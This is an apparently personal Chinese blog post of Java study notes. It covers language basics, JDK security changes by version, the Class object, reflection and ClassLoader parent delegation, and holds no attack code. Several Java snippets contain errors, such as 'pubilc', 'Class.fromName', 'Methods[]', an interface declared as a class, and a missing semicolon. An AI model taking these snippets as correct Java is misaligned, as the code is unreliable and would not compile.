    <published>2026-03-09T02:34:30.000Z</published>
    <updated>2026-05-26T03:18:02.839Z</updated>
    
    <content type="html"><![CDATA[<p>个人学习随笔 笔记比较零碎</p><h1 id="java基础知识"><a href="#java基础知识" class="headerlink" title="java基础知识"></a>java基础知识</h1><h2 id="java的运行机制"><a href="#java的运行机制" class="headerlink" title="java的运行机制"></a>java的运行机制</h2><ol><li>写下一个.java文件</li><li>通过编译器编译.java文件(源文件) 变成.class文件</li><li>通过JVM运行.class文件(字节码文件) 运行java代码</li></ol><h2 id="jdk"><a href="#jdk" class="headerlink" title="jdk"></a>jdk</h2><p>jdk – java开发工具箱</p><p>jdk &#x3D; jre + java开发工具箱</p><h2 id="jre"><a href="#jre" class="headerlink" title="jre"></a>jre</h2><p>jre – java 运行环境</p><p>jre &#x3D; JVM + java的核心类库</p><h2 id="JVM"><a href="#JVM" class="headerlink" title="JVM"></a>JVM</h2><p>java虚拟机 – JVM （java virtual machine）</p><p>JVM包含在jdk中</p><h2 id="java规范"><a href="#java规范" class="headerlink" title="java规范"></a>java规范</h2><p>程序入口</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pubilc <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>&#123;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一个.java文件中只能有一个public类</p><p>文件名必须和public类名一样</p><h2 id="字符与码表"><a href="#字符与码表" class="headerlink" title="字符与码表"></a>字符与码表</h2><p>字符是通过查码表在计算机中表示的</p><p>键入一个字符会先通过编码类型查看具体的码值并记录在计算机中</p><p>ascii</p><p>unicode</p><p>utf-8</p><p>gbk</p><h2 id="类中的访问控制修饰符"><a href="#类中的访问控制修饰符" class="headerlink" title="类中的访问控制修饰符"></a>类中的访问控制修饰符</h2><p>pubilc 共有的 对外公开</p><p>protect 受保护的 对子类和同一个包中的类公开</p><p>private 私有的 只有类本身可以访问 不对外公开</p><p>default 默认 对同类和同一个包中的类公开</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260309210236130.png" alt="image-20260309210236130"></p><h2 id="类中的非访问控制修饰符"><a href="#类中的非访问控制修饰符" class="headerlink" title="类中的非访问控制修饰符"></a>类中的非访问控制修饰符</h2><p>static 静态</p><p>final 最终</p><p>abstract 抽象</p><h2 id="JVM中的内存分配"><a href="#JVM中的内存分配" class="headerlink" title="JVM中的内存分配"></a>JVM中的内存分配</h2><h3 id="栈-堆-方法区"><a href="#栈-堆-方法区" class="headerlink" title="栈 堆 方法区"></a>栈 堆 方法区</h3><p>栈主要用来存放基本数据类型 方法</p><p>堆主要用来存放对象</p><p>方法区主要用来存放常量 类加载消息 (常量池)</p><h2 id="封装"><a href="#封装" class="headerlink" title="封装"></a>封装</h2><p>将对象中的成员私有化封装起来不被外部直接使用 通过成员方法调用</p><h2 id="封装器"><a href="#封装器" class="headerlink" title="封装器"></a>封装器</h2><p>用于初始化类的封装方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="comment">//封装器的方法名要和类名相同 没有返回类型</span></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Animal</span> <span class="params">(<span class="type">int</span> name , <span class="type">int</span> age)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">        <span class="built_in">this</span>.age = age;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="super封装器"><a href="#super封装器" class="headerlink" title="super封装器"></a>super封装器</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="comment">//父类定义了有参构造器会覆盖掉默认的无参构造器</span></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Animal</span> <span class="params">(<span class="type">int</span> name , <span class="type">int</span> age)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">        <span class="built_in">this</span>.age = age;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Dog</span>  <span class="keyword">extends</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Dog</span> <span class="params">(<span class="type">int</span> name , <span class="type">int</span> age)</span> &#123;</span><br><span class="line">        <span class="comment">//子类在继承父类的时候会默认调用无参构造器 如果父类没有无参构造器 一定要在子类中指定父类的一种构造器</span></span><br><span class="line">        <span class="built_in">super</span>()</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">        <span class="built_in">this</span>.age = age;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="继承"><a href="#继承" class="headerlink" title="继承"></a>继承</h2><p>子类继承父类的属性和方法</p><p><strong>类只能单继承 接口可以多继承</strong></p><p><strong>类的多继承可以通过内部类来实现</strong></p><h3 id="动态绑定机制"><a href="#动态绑定机制" class="headerlink" title="动态绑定机制"></a>动态绑定机制</h3><p>当调用对象方法的时候 该方法会和该对象的内存地址&#x2F;运行内存进行绑定</p><p>当调用对象属性的时候 没有动态绑定的关系 哪里运行哪里调用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Sub <span class="keyword">instanceof</span> Base</span><br></pre></td></tr></table></figure><p>继承父类的子类 会自动调用父类的构造器</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="comment">//父类定义了有参构造器会覆盖掉默认的无参构造器</span></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Animal</span> <span class="params">(<span class="type">int</span> name , <span class="type">int</span> age)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">        <span class="built_in">this</span>.age = age;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Dog</span>  <span class="keyword">extends</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Dog</span> <span class="params">(<span class="type">int</span> name , <span class="type">int</span> age)</span> &#123;</span><br><span class="line">        <span class="comment">//子类在继承父类的时候会默认调用无参构造器 如果父类没有无参构造器 一定要在子类中指定父类的一种构造器</span></span><br><span class="line">        <span class="built_in">super</span>()</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">        <span class="built_in">this</span>.age = age;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="重载"><a href="#重载" class="headerlink" title="重载"></a>重载</h2><p>同一个类中可以有同名方法 但是参数列表一定要是不同的</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Class Animal &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hhh</span><span class="params">(<span class="type">int</span> a)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> a;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hhh</span><span class="params">(String a , <span class="type">int</span> b)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> b;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="重写-override"><a href="#重写-override" class="headerlink" title="重写 override"></a>重写 override</h2><p>子类中的方法的参数和方法名 要和父类中的方法的参数和方法名相同</p><p>子类方法中的返回类型是父类方法中的返回类型的子类或者相同类</p><p>子类方法不能缩小父类方法的访问权限</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Class Animal &#123;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">cry</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;hyw&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">Class Dog <span class="keyword">extends</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">cry</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;wow wow wow&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="equals与-的区别"><a href="#equals与-的区别" class="headerlink" title="equals与&#x3D;&#x3D;的区别"></a>equals与&#x3D;&#x3D;的区别</h2><p><strong>对于&#x3D;&#x3D;</strong></p><ol><li>对于基本数据类型 判断值的大小</li><li>对于引用数据类型 判断引用的对象是否相同 确认引用对象的内存地址</li></ol><h2 id="多态"><a href="#多态" class="headerlink" title="多态"></a>多态</h2><p>创建的对象可以有多种的形态 主要通过重载和重写实现</p><h3 id="对象多态"><a href="#对象多态" class="headerlink" title="对象多态"></a>对象多态</h3><h3 id="接口多态"><a href="#接口多态" class="headerlink" title="接口多态"></a>接口多态</h3><h3 id="方法多态"><a href="#方法多态" class="headerlink" title="方法多态"></a>方法多态</h3><h3 id="参数多态"><a href="#参数多态" class="headerlink" title="参数多态"></a>参数多态</h3><p>父类可以引用子类</p><p>子类需要继承父类</p><h3 id="向上转型"><a href="#向上转型" class="headerlink" title="向上转型"></a>向上转型</h3><p>2个对象存在继承关系</p><p>多态的向上转型</p><p>本质: 父类的引用指向了子类对象</p><p>编译类型                   应用类型</p><p>父类类型 应用名 &#x3D; new 子类()</p><p><strong>可以调用父类中的所有成员 (遵循访问控制)</strong></p><p><strong>不能调用子类的特有成员 (只存在于子类中 父类中没有的成员 无法被调用)</strong></p><p><strong>最终运行效果看子类 从子类开始查找方法并调用</strong></p><h3 id="向下转型"><a href="#向下转型" class="headerlink" title="向下转型"></a>向下转型</h3><p>子类类型 引用名 &#x3D;  (子类类型) 父类引用</p><p><strong>父类的引用必须指向当前目标类型的对象</strong></p><h2 id="多态中的属性"><a href="#多态中的属性" class="headerlink" title="多态中的属性"></a>多态中的属性</h2><p><strong>引用属性看编译类型</strong></p><h2 id="main方法"><a href="#main方法" class="headerlink" title="main方法"></a>main方法</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String args[])</span> &#123;</span><br><span class="line">    </span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><p>JVM运行main方法的时候 和main方法不在同一个包中  所以要用public</p><p>执行main()方法时不必创建对象 所以要用static</p><h2 id="代码块"><a href="#代码块" class="headerlink" title="代码块"></a>代码块</h2><p>当一个类被创建的时候自动执行的代码 是对类构造器的补充</p><p><strong>代码块何时会被调用 （类何时被加载）</strong></p><ol><li>创建对象实例时</li><li>创建子类实例</li><li>使用类的静态成员时</li></ol><p><strong>代码块可以是静态的也可以是非静态的 当代码块为非静态的时候 每次类被调用的时候都会自动执行代码块</strong></p><p><strong>静态代码块和类的加载有关 非静态代码块和类的创建有关</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Class Movie &#123;</span><br><span class="line">    <span class="keyword">public</span> String name;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> price;</span><br><span class="line">    </span><br><span class="line">    &#123;<span class="comment">//代码块</span></span><br><span class="line">        System.out.println(<span class="string">&quot;电影开始&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="类创建时类中的初始化先后过程"><a href="#类创建时类中的初始化先后过程" class="headerlink" title="类创建时类中的初始化先后过程"></a>类创建时类中的初始化先后过程</h3><ol><li>静态方法和静态成员初始化</li><li>普通方法和普通成员初始化</li><li>代码块</li><li>调用构造方法</li></ol><h2 id="接口"><a href="#接口" class="headerlink" title="接口"></a>接口</h2><p> <strong>interface 关键字定义。它本质上是一种行为的规范或契约，规定了实现它的类“必须做什么”，但不关心“具体怎么做”</strong></p><p><strong>类可以同时实现多个接口</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">A</span> <span class="keyword">implements</span> <span class="title class_">ab</span>,ac &#123;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>接口中属性是 public static final 必须赋值</strong></p><p><strong>接口可以继承多个接口</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Interface</span> Usbinterface &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">start</span><span class="params">()</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">stop</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//接口中可以有默认方法 静态方法 共有方法</span></span><br><span class="line"><span class="comment">//默认方法 静态方法可以写方法体 共有方法不能写方法体</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Phone</span> <span class="keyword">implements</span> <span class="title class_">Usbinterface</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">start</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;手机开始工作&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">stop</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;手机停止工作&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="内部类"><a href="#内部类" class="headerlink" title="内部类"></a>内部类</h2><p>局部内部类中可以直接访问外部中的所有成员 包括私有的 </p><h3 id="匿名内部类"><a href="#匿名内部类" class="headerlink" title="匿名内部类"></a>匿名内部类</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> 类或接口(参数列表) &#123;</span><br><span class="line">    类体</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h3 id="成员内部类"><a href="#成员内部类" class="headerlink" title="成员内部类"></a>成员内部类</h3><h3 id="静态内部类"><a href="#静态内部类" class="headerlink" title="静态内部类"></a>静态内部类</h3><h2 id="泛型"><a href="#泛型" class="headerlink" title="泛型"></a>泛型</h2><p>泛型是<strong>不变量</strong></p><p><strong>泛型参数声明</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String args[])</span> &#123;</span><br><span class="line">    <span class="comment">//类级泛型声明</span></span><br><span class="line">    <span class="keyword">class</span> <span class="title class_">Animal</span> &lt;T&gt;&#123;</span><br><span class="line">        <span class="comment">//使用类中的T</span></span><br><span class="line">        <span class="keyword">private</span> T name;</span><br><span class="line">        <span class="keyword">public</span> T <span class="title function_">getName</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> name;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(T name)</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.name = name;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>泛型方法声明</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String args[])</span> &#123;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">a</span>&#123;</span><br><span class="line">        <span class="comment">//此时类中没有定义泛型声明</span></span><br><span class="line">        <span class="comment">//这里的T是方法自己定义的 和 类定义的泛型无关</span></span><br><span class="line">        <span class="keyword">public</span> &lt;T&gt; <span class="keyword">void</span> <span class="title function_">aa</span><span class="params">(T t)</span>&#123;</span><br><span class="line">            System.out.print(t.class)</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//静态方法中必须要如果要写成泛型 一定&lt;T&gt;</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; <span class="keyword">void</span> <span class="title function_">aaa</span><span class="params">(T t)</span>&#123;</span><br><span class="line">            </span><br><span class="line">        &#125; </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>泛型类声明</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Class&lt;?&gt;</span><br><span class="line">Object&lt;?&gt;</span><br></pre></td></tr></table></figure><h2 id="java中的各种流"><a href="#java中的各种流" class="headerlink" title="java中的各种流"></a>java中的各种流</h2><p>InputStream OutputStream 字节流</p><p>reader writeer 字符流</p><h4 id="节点流-vs-处理流"><a href="#节点流-vs-处理流" class="headerlink" title="节点流 vs 处理流"></a><strong>节点流 vs 处理流</strong></h4><p>把“数据从哪里来&#x2F;到哪里去”和“数据怎么处理”分开。</p><p><strong>装饰器模式 (Decorator Pattern)</strong></p><p><strong>理念</strong>：动态地给对象添加功能，而不是通过继承产生无数个子类。</p><p><strong>实现</strong>：处理流的构造函数接收一个“流对象”作为参数，把它包起来，增加新功能后，再暴露同样的接口。</p><p><strong>效果</strong>：可以像<strong>俄罗斯套娃</strong>一样层层包装。</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260318152933948.png" alt="image-20260318152933948"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260318152944390.png" alt="image-20260318152944390"></p><h1 id="java安全基础"><a href="#java安全基础" class="headerlink" title="java安全基础"></a>java安全基础</h1><h2 id="jdk安全分水岭"><a href="#jdk安全分水岭" class="headerlink" title="jdk安全分水岭"></a>jdk安全分水岭</h2><h4 id="1-JDK-9：模块系统与反射限制-分水岭"><a href="#1-JDK-9：模块系统与反射限制-分水岭" class="headerlink" title="1. JDK 9：模块系统与反射限制 (分水岭)"></a><strong>1. JDK 9：模块系统与反射限制 (分水岭)</strong></h4><ul><li><p><strong>核心变化</strong>：引入 <strong>Java Platform Module System (JPMS)</strong>。</p></li><li><p>影响</p><p>：</p><ul><li><strong>封装性增强</strong>：JDK 内部的包（如 <code>java.lang</code>, <code>java.util</code>）默认不再对 unnamed module（普通用户代码）开放。</li><li><strong>反射受限</strong>：即使使用 <code>setAccessible(true)</code>，如果目标模块没有 <code>opens</code>，反射也会失败。这就是你遇到报错的直接原因。</li><li><strong>目的</strong>：防止恶意代码通过反射篡改 JDK 内部核心逻辑，提高平台安全性。</li></ul></li><li><p><strong>口号</strong>：“强封装” (Strong Encapsulation)。</p></li></ul><h4 id="2-JDK-14-16：过渡与清理"><a href="#2-JDK-14-16：过渡与清理" class="headerlink" title="2. JDK 14 - 16：过渡与清理"></a><strong>2. JDK 14 - 16：过渡与清理</strong></h4><ul><li><p><strong>JDK 14</strong>：默认禁止反射访问非 opens 的包（之前在 JDK 9-13 只是警告，可以通过参数忽略，从 14 开始默认报错）。</p></li><li><p>JDK 15 &amp; 16</p><p>：</p><ul><li>移除了 <strong>Nashorn JavaScript 引擎</strong>（一个常见的攻击面）。</li><li>禁用了 <strong>TLS 1.0 和 1.1</strong>（过时的不安全协议）。</li><li>开始逐步废弃 <strong>SecurityManager</strong>（因为配置复杂且容易被绕过，官方打算用更细粒度的机制替代）。</li></ul></li></ul><h4 id="3-JDK-17-LTS-：全面加固-当前主流"><a href="#3-JDK-17-LTS-：全面加固-当前主流" class="headerlink" title="3. JDK 17 (LTS)：全面加固 (当前主流)"></a><strong>3. JDK 17 (LTS)：全面加固 (当前主流)</strong></h4><ul><li><p><strong>核心变化</strong>：彻底落实 JDK 9 的愿景，并清理历史包袱。</p></li><li><p>影响</p><p>：</p><ul><li><strong>SecurityManager 废弃</strong>：标记为 <code>deprecated</code>，官方明确不建议在新应用中使用，未来版本将移除。</li><li><strong>禁止动态代理访问非公共接口</strong>：进一步限制反射能力。</li><li><strong>更强的默认值</strong>：许多原本需要手动开启的安全选项现在默认开启。</li></ul></li><li><p><strong>地位</strong>：目前企业级开发的首选 LTS 版本，安全基线很高。</p></li></ul><h4 id="4-JDK-21-LTS-及未来：现代化安全"><a href="#4-JDK-21-LTS-及未来：现代化安全" class="headerlink" title="4. JDK 21 (LTS) 及未来：现代化安全"></a><strong>4. JDK 21 (LTS) 及未来：现代化安全</strong></h4><ul><li><p><strong>核心变化</strong>：引入 <strong>虚拟线程 (Virtual Threads)</strong> 的同时，继续收紧底层权限。</p></li><li><p>影响</p><p>：</p><ul><li><p><strong>外部函数与内存 API (Foreign Function &amp; Memory API)</strong>：取代了不安全的 <code>sun.misc.Unsafe</code> 和 JNI，提供了更受控的内存访问方式。</p></li><li><p><strong>严格模式</strong>：对于未命名的模块访问 JDK 内部 API 的限制更加严格，几乎堵死了所有“旁门左道”。</p></li></ul></li></ul><h2 id="Class类"><a href="#Class类" class="headerlink" title="Class类"></a>Class类</h2><p>Class类是JVM中运行.class文件时用与表示<strong>运行中的类 &#x2F; 接口</strong>的一个特殊类</p><p>数组 基本数据类型 void关键字也都各自有Class对象</p><p>在运行时 JVM会自动创建一个Class类</p><p>Class类中存实例对象中的元数据 比如字段列表 方法列表 父类 子类</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260312212659812.png" alt="image-20260312212659812"></p><p><strong>获取Class类的方法</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> Class.fromName(<span class="string">&quot;全限定类名&quot;</span>)</span><br><span class="line"><span class="number">2.</span> 类.class</span><br><span class="line"><span class="number">3.</span> 对象.getClass()  </span><br><span class="line"><span class="number">4.</span> 类加载器得到Class类</span><br></pre></td></tr></table></figure><h2 id="反射"><a href="#反射" class="headerlink" title="反射"></a>反射</h2><p>运行时 动态调用类中的属性或方法的一种机制</p><p>只能调用方法 或者修改字段值 可以访问私有成员 setAccessible(true)</p><p><strong>一切的初始目标就是为了获取Class类</strong></p><p>通过反射获取<strong>A类的Class类</strong> -&gt; 获取A类的方法 &#x2F; 属性</p><h3 id="反射创建实例对象-A类的Class类-A类对象"><a href="#反射创建实例对象-A类的Class类-A类对象" class="headerlink" title="反射创建实例对象  A类的Class类 -&gt; A类对象"></a>反射创建实例对象  A类的Class类 -&gt; A类对象</h3><p><strong>注意: 在jdk9之前 有些即使构造器是私有的类 也可以通过反射获取对象</strong></p><p><strong>jdk9之后 无法通过反射</strong></p><h3 id="反射访问对象成员"><a href="#反射访问对象成员" class="headerlink" title="反射访问对象成员"></a>反射访问对象成员</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Class testClass = nameClass.class</span></span><br><span class="line">Methods[] methods = testClass.getDeclaredMethods();<span class="comment">//获得所有成员方法</span></span><br><span class="line"><span class="type">Methods</span> <span class="variable">method</span> <span class="operator">=</span> testClass.getDeclaredMethod();</span><br><span class="line"></span><br><span class="line">Fileds[] fileds = testClass.getDeclaredFields();<span class="comment">//获得所有的成员属性</span></span><br><span class="line"><span class="type">Filed</span> <span class="variable">filed</span> <span class="operator">=</span> testClass.getDeclaredFields();</span><br><span class="line"></span><br><span class="line"><span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> field.get(类实例对象);<span class="comment">//访问对象属性值</span></span><br><span class="line"></span><br><span class="line">field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">field.set(类实例对象,值);<span class="comment">//修改对象属性值</span></span><br></pre></td></tr></table></figure><h2 id="ClassLoader加载机制"><a href="#ClassLoader加载机制" class="headerlink" title="ClassLoader加载机制"></a>ClassLoader加载机制</h2><p>通过类加载器<strong>ClassLoader</strong> 将.class字节码文件加载到JVM的内存中</p><p>并将其转换为<strong>java.lang.Class</strong>对象</p><p>JVM中有4种类加载器</p><ol><li><p><strong>Bootstrap ClassLoader</strong> (引导类加载器)</p><p>加载java的核心api java.util.* java.lang.*</p></li><li><p><strong>Platform ClassLoader</strong> (平台类加载器)  jdk8前叫 <strong>Extension ClassLoadler</strong> (扩展类加载器)</p><p>加载扩展库后平台模块</p></li><li><p><strong>Application ClassLoader</strong> (应用类加载器) jdk8前叫 <strong>System ClassLoader</strong> (系统类加载器)</p><p>加载用户类路径下的类 application</p><p>默认情况下会启动Appaction ClassLoader</p></li><li><p><strong>Custom ClassLoader</strong> (自定义类加载器)</p><p>继承<strong>java.lang.ClassLoader</strong>类自行编写</p></li></ol><h3 id="双亲委派模型"><a href="#双亲委派模型" class="headerlink" title="双亲委派模型"></a>双亲委派模型</h3><p>加载类的时候 类加载器会先请求上层的加载器先去加载类</p><h3 id="ClassLoader类加载过程"><a href="#ClassLoader类加载过程" class="headerlink" title="ClassLoader类加载过程"></a>ClassLoader类加载过程</h3><h3 id="加载"><a href="#加载" class="headerlink" title="加载"></a>加载</h3><p>将类的.class文件读入内存 并创建一个java.lang.Class对象</p><p>将字节码从不同的数据源(class文件 jar包 网络) 转化为二进制字节流加载到内存中</p><p><strong>加载类的时候通过双亲委派的机制 先让上层的ClassLoader先去尝试加载类 如果类加载器找不到 会自动将委托传到下层类加载器  默认的类加载器是Application ClassLoader 通过双亲委托去加载类 如果ApplicationClassLoader 也找不到要加载的类 会尝试使用自定类加载类</strong></p><h3 id="链接"><a href="#链接" class="headerlink" title="链接"></a>链接</h3><p>将类的二进制数据合并到JRE中</p><ol><li><p>验证</p><p>检验.class文件中二进制字节流中符合当前JVM的需求</p><p>检测文件格式（检查文件文件魔数 文件头） 元数据验证 （语义分析 继承合法性 方法覆盖合法性 ）字节码验证 （操作数栈一致性 类型转换 变量初始化）符号引用验证 （存在性检查 可见性检查）</p></li><li><p>准备</p><p>对静态变量 分配内存并默认初始化 这些变量所使用的内存都在方法区内配置</p></li><li><p>解析</p><p>将符号引用转化为直接引用</p></li></ol><h3 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h3><p>JVM负责对类进行初始化 主要是静态成员 